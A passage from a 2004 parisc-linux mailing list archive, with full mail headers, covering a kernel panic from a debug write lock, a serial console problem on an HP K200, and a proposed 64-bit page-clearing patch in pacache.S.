 [<000000001019ae1c>] check_spinlock_acquired+0x24/0xb8
 [<00000000101146a8>] dump_stack+0x20/0x38
 [<00000000102b4240>] _dbg_write_lock+0x248/0x260
 [<000000001019d20c>] cache_alloc_debugcheck_after+0x16c/0x218
 [<0000000010110a28>] _write_lock_bh+0x38/0x50
 [<00000000103b2a4c>] netlink_table_grab+0x2c/0x150
 [<00000000103b2e0c>] netlink_insert+0x64/0x2d0
 [<0000000010386760>] sock_create_lite+0x30/0x68
 [<00000000103b602c>] netlink_kernel_create+0xcc/0xf8
 [<0000000010111afc>] init+0x28c/0x478
 [<000000001010647c>] ret_from_kernel_thread+0x24/0x38

Kernel panic - not syncing: BUG!

this is comming from:

int _dbg_write_trylock(rwlock_t *rw, const char *bfile, int bline)
{
#if 0
	void *inline_pc =3D __builtin_return_address(0);
	int cpu =3D smp_processor_id();
#endif
	
	if(unlikely(in_interrupt())) {	/* acquiring write lock in interrupt cont=
ext,
bad idea */
		pdc_printf("write_lock caller: %s:%d, IRQs enabled,\n", bfile, bline);
		BUG();
	}

Any idea,
    Joel

-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rray@tcmail.mstc.state.ms.us
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console problem
Date: Wed, 1 Dec 2004 08:41:43 -0600 (CST)
Lines: 78
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0412010835070.10014@rray.drdc.mstc.ms.gov>
References: <Pine.LNX.4.58.0411301543230.17128@rray.drdc.mstc.ms.gov>
	<41AD7F64.2040404@lycos.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=X-UNKNOWN
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416623611 11886 80.91.229.3 (22 Nov 2014 02:33:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8915 invoked by uid 65534); 1 Dec 2004 14:45:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx042) with SMTP; 01 Dec 2004 15:45:26 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A66B73BE62; Wed,  1 Dec 2004 07:44:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24527-06; Wed, 1 Dec 2004 07:44:48 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E73F23BE66; Wed,  1 Dec 2004 07:44:28 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 246003BE60
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 07:44:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24527-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Dec 2004 07:44:23 -0700 (MST)
Original-Received: from itspmx1.state.ms.us (e3000a.state.ms.us [205.144.224.140])
	by free.linux.hp.com (Postfix) with ESMTP id 63E3E3BE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 07:44:22 -0700 (MST)
Original-Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220])
	by itspmx1.state.ms.us (8.12.10/8.12.10) with SMTP id iB1EelZW019098
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Dec 2004 08:40:47 -0600 (CST)
	(envelope-from rray@tcmail.mstc.state.ms.us)
Original-Received: from rray.drdc.mstc.ms.gov ([172.17.32.2])
	by tcmail.mstc.state.ms.us; Wed, 01 Dec 2004 08:43:01 -0600
Original-Received: from rray.drdc.mstc.ms.gov (rray.drdc.mstc.ms.gov [127.0.0.1])
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11) with ESMTP id iB1Eficg010188
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Dec 2004 08:41:44 -0600
Original-Received: from localhost (rray@localhost)
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11/Submit) with ESMTP id
	iB1EfhfY010185 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Dec 2004 08:41:44 -0600
X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs
X-X-Sender: rray@rray.drdc.mstc.ms.gov
In-Reply-To: <41AD7F64.2040404@lycos.nl>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22164

Maybe the problem is simple. I hope the solution is.
I used palinux-2.4.21-pa6-20030718-netinst.iso to install.
It uses 2.4.21-32 kernel which I assume has PDC support.
After the base install the kernel I have is 2.4.17-32 which I assume has
no PDC support.
Is there an easy fix for this?

Thanks
Richard Ray

On Wed, 1 Dec 2004, Corn=E9 Beerse wrote:

> rray@tcmail.mstc.state.ms.us wrote:
> > Hey all,
> >
> > I've just installed Debian on a 9000/819 K200.
> > The base install went fine after I changed the console to ttyB0.
> > After the reboot I get the dredded "If this is the last
> > message you see, you may need to switch your console.  This is
> > a common symptom -- search the FAQ and mailing list at parisc-linux.org=
".
> > And this is the last thing I see.
> > I've seen references in the mailing list about switching consoles but n=
ot
> > what this really means.
> > I only have one console connected with a serial cable to the console po=
rt
> > of the server.
> > Could someone give me a little more info.
>
> This all depends on the base system (your K200 here) and sometimes additi=
onal
> hardware.
>
> I don't know details on your K200 but for example my (now gone) D210 was =
verry
> basic: just a processor, memory, disk and tape. No additional terminal ca=
rds or
> such. This box just continued after a relative long time with the kernel =
loading
> messages. Your tip: patience...
>
> My (still pressent) D370 has an additional service card with an UPS conne=
ctor
> and a phone-connector. With this system, I had to plug the console from t=
he
> first to the second serial connector. After removing the board, the conso=
le
> stays on the first serial connector. Your tip: remove not necessary board=
s from
> the system, just to get it going.
>
> I recall from messages on this list that machines with serial consoles on
> expansion boards (boards with multiple serial connectors) do have problem=
s with
> their console since the boards are not that well (read not at all) suppor=
ted due
> to lack of documentation.
>
> Hence, check the documentation on all pages mentioned at the debian-porti=
ng
> page: http://www.debian.org/ports/hppa/
>
>
> CBee
>
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: More questions [Was: [parisc-linux] 2.6.10-rc1-pa11 profile data]
Date: Wed, 1 Dec 2004 19:33:13 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <418A81170000A675@mail-8-bnl.mail.tiscali.sys>
References: <20041201175648.GG5752@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623612 11887 80.91.229.3 (22 Nov 2014 02:33:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2704 invoked by uid 65534); 1 Dec 2004 18:34:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 01 Dec 2004 19:34:26 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 638383BE6E; Wed,  1 Dec 2004 11:33:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26670-10; Wed, 1 Dec 2004 11:33:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D78003BE6F; Wed,  1 Dec 2004 11:33:40 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70C963BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 11:33:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26834-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Dec 2004 11:33:32 -0700 (MST)
Original-Received: from mrq-1.tiscalinet.it (unknown [213.205.37.214])
	by free.linux.hp.com (Postfix) with ESMTP id E96D53BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 11:33:31 -0700 (MST)
Original-Received: from mail-8-bnl.tiscali.it (10.39.115.138) by mrq-1.tiscalinet.it
	(7.0.028) id 419A1246001D44F8; Wed, 1 Dec 2004 19:33:14 +0100
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Wed, 1 Dec 2004 19:33:13 +0100
In-Reply-To: <20041201175648.GG5752@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22165



> 
> On Wed, Dec 01, 2004 at 06:44:44PM +0100, Joel Soete wrote:
> > I doubt that's enough because I don't yet find how r0 is set?
> 
> r0 is magic on PA.  Writes are discarded, reads return 0.  It's the
> hardware equivalent of /dev/zero ;-)
> 
Cool that make the stuff so ?
And iirc registers are 64bit wide on pa2.0?

Thanks,
    Joel


-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: More questions [Was: [parisc-linux] 2.6.10-rc1-pa11 profile data]
Date: Wed, 1 Dec 2004 18:44:44 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <418A80AE0000A9A8@mail-4-bnl.tiscali.it>
References: <20041111081154.GR15714@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623612 11891 80.91.229.3 (22 Nov 2014 02:33:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>,
 "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17384 invoked by uid 65534); 1 Dec 2004 17:45:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 01 Dec 2004 18:45:53 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B0CFB3BE5F; Wed,  1 Dec 2004 10:45:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25295-08; Wed, 1 Dec 2004 10:45:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6FD733BE68; Wed,  1 Dec 2004 10:45:02 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D5DB3BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 10:44:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 25121-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Dec 2004 10:44:54 -0700 (MST)
Original-Received: from mrq-2.tiscalinet.it (unknown [213.205.37.215])
	by free.linux.hp.com (Postfix) with ESMTP id 9C8673BE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 10:44:53 -0700 (MST)
Original-Received: from mail-4-bnl.tiscali.it (10.39.115.134) by mrq-2.tiscalinet.it
	(7.0.028) id 419A120A001BD1A2; Wed, 1 Dec 2004 18:44:44 +0100
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Wed, 1 Dec 2004 18:44:44 +0100
In-Reply-To: <20041111081154.GR15714@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22166

[...]
> 
> but looking at the other ones:
> - __clear_user_page_asm can be optimized for 64-bit by writing 8 bytes
>   at a time instead of 4
Is it the idea (principle only):
--- arch/parisc/kernel/pacache.S.Orig	2004-12-01 17:09:53.000000000 +0100=

+++ arch/parisc/kernel/pacache.S-t1	2004-12-01 17:58:16.000000000 +0100
@@ -505,6 +505,16 @@
 	ldi 64,%r1
 
 1:
+#ifdef __LP64__
+	std	%r0,0(%r28)
+	std	%r0,8(%r28)
+	std	%r0,16(%r28)
+	std	%r0,24(%r28)
+	std	%r0,32(%r28)
+	std	%r0,40(%r28)
+	std	%r0,48(%r28)
+	std	%r0,56(%r28)
+#else
 	stw %r0,0(%r28)
 	stw %r0,4(%r28)
 	stw %r0,8(%r28)
@@ -521,6 +531,7 @@
 	stw %r0,52(%r28)
 	stw %r0,56(%r28)
 	stw %r0,60(%r28)
+#endif
 	ADDIB>  -1,%r1,1b
 	ldo 64(%r28),%r28

I doubt that's enough because I don't yet find how r0 is set?

[...]
Thanks in advance for your attention,
    Joel

-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: More questions [Was: [parisc-linux] 2.6.10-rc1-pa11 profile data]
Date: Wed, 1 Dec 2004 17:56:48 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20041201175648.GG5752@parcelfarce.linux.theplanet.co.uk>
References: <20041111081154.GR15714@tausq.org>
	<418A80AE0000A9A8@mail-4-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623612 11892 80.91.229.3 (22 Nov 2014 02:33:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 2347 invoked by uid 65534); 1 Dec 2004 17:57:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 01 Dec 2004 18:57:38 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 78B173BE68; Wed,  1 Dec 2004 10:57:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26768-03; Wed, 1 Dec 2004 10:57:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9BEB83BE6D; Wed,  1 Dec 2004 10:56:57 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E09003BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 10:56:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26670-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 1 Dec 2004 10:56:51 -0700 (MST)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 3D65D3BE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  1 Dec 2004 10:56:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1CZYie-00063I-VP; Wed, 01 Dec 2004 17:56:49 +0000
Content-Disposition: inline
In-Reply-To: <418A80AE0000A9A8@mail-4-bnl.tiscali.it>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22167

On Wed, Dec 01, 2004 at 06:44:44PM +0100, Joel Soete wrote:
> I doubt that's enough because I don't yet find how r0 is set?

r0 is magic on PA.  Writes are discarded, reads return 0.  It's the
hardware equivalent of /dev/zero ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rray@tcmail.mstc.state.ms.us
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel 2.6.8 compile bomb...
Date: Thu, 2 Dec 2004 08:48:47 -0600 (CST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0412020842550.10014@rray.drdc.mstc.ms.gov>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623613 11893 80.91.229.3 (22 Nov 2014 02:33:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6430 invoked by uid 65534); 2 Dec 2004 14:52:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 02 Dec 2004 15:52:42 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5CF383BE68; Thu,  2 Dec 2004 07:52:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03379-10; Thu, 2 Dec 2004 07:51:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6876E3BE6E; Thu,  2 Dec 2004 07:51:13 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A49CB3BE6C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Dec 2004 07:51:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01960-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Dec 2004 07:51:05 -0700 (MST)
Original-Received: from itspmx1.state.ms.us (e3000a.state.ms.us [205.144.224.140])
	by free.linux.hp.com (Postfix) with ESMTP id 73D883BE68
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  2 Dec 2004 07:51:04 -0700 (MST)
Original-Received: from tcmail.mstc.state.ms.us (tcmail.mstc.state.ms.us [10.3.60.220])
	by itspmx1.state.ms.us (8.12.10/8.12.10) with SMTP id iB2ElTZW021602
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Dec 2004 08:47:29 -0600 (CST)
	(envelope-from rray@tcmail.mstc.state.ms.us)
Original-Received: from rray.drdc.mstc.ms.gov ([172.17.32.2])
	by tcmail.mstc.state.ms.us; Thu, 02 Dec 2004 08:50:18 -0600
Original-Received: from rray.drdc.mstc.ms.gov (rray.drdc.mstc.ms.gov [127.0.0.1])
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11) with ESMTP id iB2EmmxJ021769
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Dec 2004 08:48:48 -0600
Original-Received: from localhost (rray@localhost)
	by rray.drdc.mstc.ms.gov (8.12.11/8.12.11/Submit) with ESMTP id
	iB2EmlbW021766 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 2 Dec 2004 08:48:48 -0600
X-Authentication-Warning: rray.drdc.mstc.ms.gov: rray owned process doing -bs
X-X-Sender: rray@rray.drdc.mstc.ms.gov
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
